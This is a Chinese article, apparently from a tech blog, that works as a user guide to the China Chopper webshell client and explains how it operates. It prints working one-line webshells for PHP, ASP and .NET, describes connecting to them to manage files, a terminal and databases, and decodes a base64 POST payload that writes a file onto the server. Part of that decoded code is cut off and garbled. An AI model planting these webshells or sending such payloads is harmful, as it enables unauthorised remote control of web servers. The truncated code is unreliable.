只要支持动态脚本的网站,都可以用中国菜刀来进行管理!主要功能有:文件管理,虚拟终端,数据库管理。
UINCODE方式编译,支持多国语言输入显示。
一、EVAL客户端部分
1)要了解的
服务端只需要简单的一行代码,即可用此程序实现常用的管理功能。
支持的服务端脚本:PHP, ASP,NET。
在服务端运行的代码如下:
PHP: <?php @eval($_POST['pass'])?>
ASP: <%eval request(pass)%>
.NET: <%@ Page Language=Jscript%><%eval(Request.Item[pass],unsafe)%>
(注意: .NET要单独一个文件或此文件也是Jscript语言)
2)怎么用
在主视图中右键/添加,在d出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,保存后即可使用文件管理,虚拟终端,数据库管理三大块功能。要是其它都没错误,那么可能就是你把语言编码选错了。
1. 文件管理:[特色]缓存下载目录,并支持离线查看缓存目录
2.虚拟终端:[特色]人性化的设计, *** 作方便(输入HELP查看更多用法)
3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS
以入支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)
注意:由于服务器的安全设置,某些功能可能不能正常使用。
3) 关于配置信息怎么填?
A) 数据库方面:
PHP脚本:
<T>类型</T>类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
<H>主机地址<H>主机地址可为机器名或IP地址,如localhost
<U>数据库用户</U>连接数据库的用户名,如root
<P>数据库密码</P>连接数据库的密码,如123455
ASP和.NET脚本:
<T>类型</T>类型只能填ADO
<C>ADO配置信息</C>
ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
Driver={Sql Server}Server=(local)Database=masterUid=saPwd=123456
B) 其它方面:
添加额外附加提交的数据:应付这种情况:if ($_POST['action']=='test'){@eval($_POST['pass'])}
<O>action=test</O>
提交功能前先POST额外的数据包:会话期间只提交一次。
<DATA>uid=user1&pwd=123456</DATA>
二、网站蜘蛛
织出一张网站的目录结构。
下载的列表文件存在桌面,右键菜单/载入URL列表即可以根据地址得到目录结构。
三、定时提醒
当闹钟事使吧, 周期:每月/每周/每日/只一次。
四、快速启动
一些常用的快捷方式放在这里,可以指定用户身份运行程序。这部分数据是以加密存储的。
五、浏览器
地址栏输入HELP,更多精彩后续加入。
六、其它部分
等待加入。
附带工具
update.exe是wsc.exe的数据库wscdb迁移到菜刀的一个小工具。
把wscdb文件整到当前目录,运行update.exe得到新的数据库文件caidao.mdb
把菜刀的数据库db.mdb替换掉即可。
首先,我们必须了解菜刀是如何通过一句话木马来实现web服务器的文件管理的。下面是最常见的php一句话木马:
当我们将一句话木马上传到web服务器上后,我们就可以直接在菜刀中输入上面的密码(如上例中的1)连接到服务器上来管理文件。
那么,此处的菜刀如何通过简单的一句话就可以实现对服务器的管理和控制呢?通过分析菜刀的原理,我们不难发现菜刀是利用了eval这个函数来执行通过POST方法传过来的命令语句。
因此,如果我们想通过菜刀一句话木马来实现文件上传的话,只需要向远程服务里上包含一句话的url发送一个带文件写入命令的POST请求即可,比如:
POST:
1=@eval($_POST[z0])&z0=echo $_SERVER['DOCUMENT_ROOT']
上面代码包含2个部分:
1. 一句话的密码
2. 发送给服务器端的php执行代码
既然知道原理了,我们只需要发送如下的POST请求即可完成利用一句话上传文件的功能:
POST:
1=@eval(base64_decode($_POST[z0]))&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7&z1=L3Zhci93d3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gd29ybGQh
仔细分析一下这段POST数据包含以下几个部分:
1. 首先是php一句话的密码1
2. 通过eval方法来执行base64解码后的z0,解码整理后显示如下:
@ini_set("display_errors","0")
@set_time_limit(0)
@set_magic_quotes_runtime(0)
echo("->|")
$f=base64_decode($_POST["z1"])
$c=base64_decode($_POST["z2"])
$c=str_replace("\r","",$c)
$c=str_replace("\n","",$c)
$buf=""
for($i=0$i
3. 在z0中继续调用base64解码后的z1和z2,解码后如下:
z1=/var/www/root/1.txt
z2=hello world!
至此,我们可以很清楚的发现上面的POST请求的作用实际上是将一个写有hello world!的名为1.txt的文件上传至服务器
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)